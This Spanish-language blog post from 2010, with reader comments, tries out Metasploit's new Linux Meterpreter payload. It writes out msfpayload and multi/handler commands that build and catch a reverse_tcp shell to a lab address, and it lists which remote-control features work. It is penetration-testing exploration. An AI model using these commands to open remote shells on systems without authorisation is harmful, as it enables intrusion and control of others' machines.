domingo, 5 de diciembre de 2010

¿Meterpreter para Linux?

Hace unos días me encontraba utilizando mi Metasploit, que siempre tengo actualizada a la última versión de SVN, y me encontré una cosa curiosa al intentar lanzar un exploit cuando ejecuté el comando "show payloads" para ver los payloads que tenía disponibles:

[...]
linux/x86/meterpreter/bind_ipv6_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/meterpreter/reverse_ipv6_tcp
linux/x86/meterpreter/reverse_tcp
linux/x86/metsvc_bind_tcp
linux/x86/metsvc_reverse_tcp
[...]

¡¡¡ METERPRETER PARA LINUX !!!

Sentí como si HD Moore hubiera oído por fin mis plegarias. Siempre me he preguntado (y por lo que he podido comentar, no he sido el único) por qué no habían sacado un Meterpreter para otros sistemas que no sean Windows, si se debía a algún problema técnico que desconociéramos, a las diferencias existentes en Linux al existir una amplia variedad de distribuciones, o algo así.

Pegándole un ojo a los créditos del payload, vemos la siguiente descripción:


Sorprendentemente, no había leído en el blog de Metasploit (el cual sigo frecuentemente) ni en ningún lado de la existencia de este payload, por lo que era de esperar que estuviera en un estado bastante beta, así que me puse a hacer algunas pruebas.

Para ello, lo primero, fue generarme un binario para Linux con este payload, para no tener que explotar la vulnerabilidad para cada prueba que quisiera hacer. Esto lo hice con el comando msfpayload de Metasploit, de la siguiente forma:

# cd /opt/metasploit3/msf3
# ./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=172.16.24.150 X > /tmp/meterlin.bin

Una vez hecho esto, lancé en mi msfconsole el payload multi/handler, un módulo al que le especificas el payload y sirve para poder recoger las conexiones, tanto directas como inversas, de los diferentes payloads de Metasploit:

# ./msfconsole
msf > use multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.24.150
msf exploit(handler) > exploit

Por último lancé el binario que había generado previamente para que realice la conexión inversa hasta el multi/handler que he lanzado en Metasploit:

# cd /tmp
# ./meterlin.bin

Y vemos como en nuestro msfconsole nos aparecen los mensajes a los que estamos acostumbrados cuando lanzamos este mismo payload en un Windows:


BIEN! Ahora solo nos quedaba jugar un poco con el Meterpreter, así que lancé un "help" y me dispuse a probar las funcionalidades, y estos fueron los resultados de mis pruebas:
  • Módulo "priv" (para hacer "hashdump" y similares) NO funciona.
  • Comandos "ipconfig", "route", "kill" y otros comandos básicos SI funcionan, pero curiosamente "ps" NO, y "migrate" tampoco.
  • Comando "execute" SI funciona, aunque se queda colgado al salir.
  • Comandos "upload" y "download" SI funcionan.
  • Comando "portfwd" SI funciona.
Al final, después de un rato de probar, estas fueron mis conclusiones:
  • El Payload está aún en estado beta, aún falta bastante para que tenga toda la potencia del Meterpreter para Windows
  • Puede ser interesante usarlo en sistemas Linux, porque podemos con un solo payload subir de forma cómoda los ficheros que deseemos, ejecutarlos, redirigir puertos, y algunas opciones más, lo cual va a agilizar mucho nuestros pentests.
  • Hay que estar muy al tanto de las evoluciones de este payload.
Para finalizar, sentí curiosidad sobre si se estaban desarrollando versiones de Meterpreter para más plataformas, así que hice una pequeña búsqueda, y este fue el resultado:

[...]
bsd/x86/metsvc_bind_tcp
bsd/x86/metsvc_reverse_tcp
java/meterpreter/bind_tcp
java/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
[...]
php/meterpreter/bind_tcp
php/meterpreter_reverse_tcp
[...]

Muy muy interesante, no os parece :)
Seguiremos informando...

7 comentarios :

miguel dijo...

buena entrada!
el meterpreter de Java es muy limitado también.

Jose Selvi dijo...

Es que un Payload en Java... tiene su aquel, eh?

Yo imagino que será más para usarlo con MSFPayload que como shellcode de exploit.

Gracias por el comentario!

miguel dijo...

si el exploit es de/para java, el meterpreter compatible es el de java ;)

Anónimo dijo...

Por qué decis que el meterpreter de java es limitado???

Un saludo

Jose Selvi dijo...

@Anónimo: Yo no lo he probado aún, pero me cuadra que sea limitado ya que se estará ejecutando dentro de la máquina virtual, y ahí el acceso al SO podría ser más restringido.

Eso me dice mi sentido común, pero por supuesto, hasta que no lo pruebe no puedo dar una opinión fundada propia :)

Anónimo dijo...

default@default:~/Documentos$ sudo ./exploit.bin
[sudo] password for default:
sudo: ./exploit.bin: command not found

Por qué me dice eso????

Y otra cosa para crear una shellcode de java cómo se haría porque al intentar crearlo con extensión .jar me dice esto:
root@default:/opt/framework-3.5.1/msf3# ./msfpayload java/meterpreter/reverse_tcp LHOST=127.0.0.1 X > /home/default/Documentos/exploit
No executable format support for this arch/platform


Gracias!!!

Jose Selvi dijo...

Hola @Anónimo:

1) ¿El binario tiene los permisos correctos? ¿Has probado a usar el path completo del fichero a ver si se trata de un problema al usar sudo?

2) Te da error porque estás intentando meter código Java en un Ejecutable, y eso... no funcionaría.
Yo no he usado nunca el Meterpreter en Java, pero yo intentaría salvarlo como War (opción W) a ver si tras crearlo podemos descomprimirlo (un war es un zip en realidad) y coger de dentro el jar (aunque yo diría que no lo hace así, que mete el binario tal cual). Si eso no funciona... intenta sacarlo en RAW (opción R) a ver si puedes ejecutarlo con java -jar, o importarlo con alguna herramienta tipo Eclipse.

Suerte!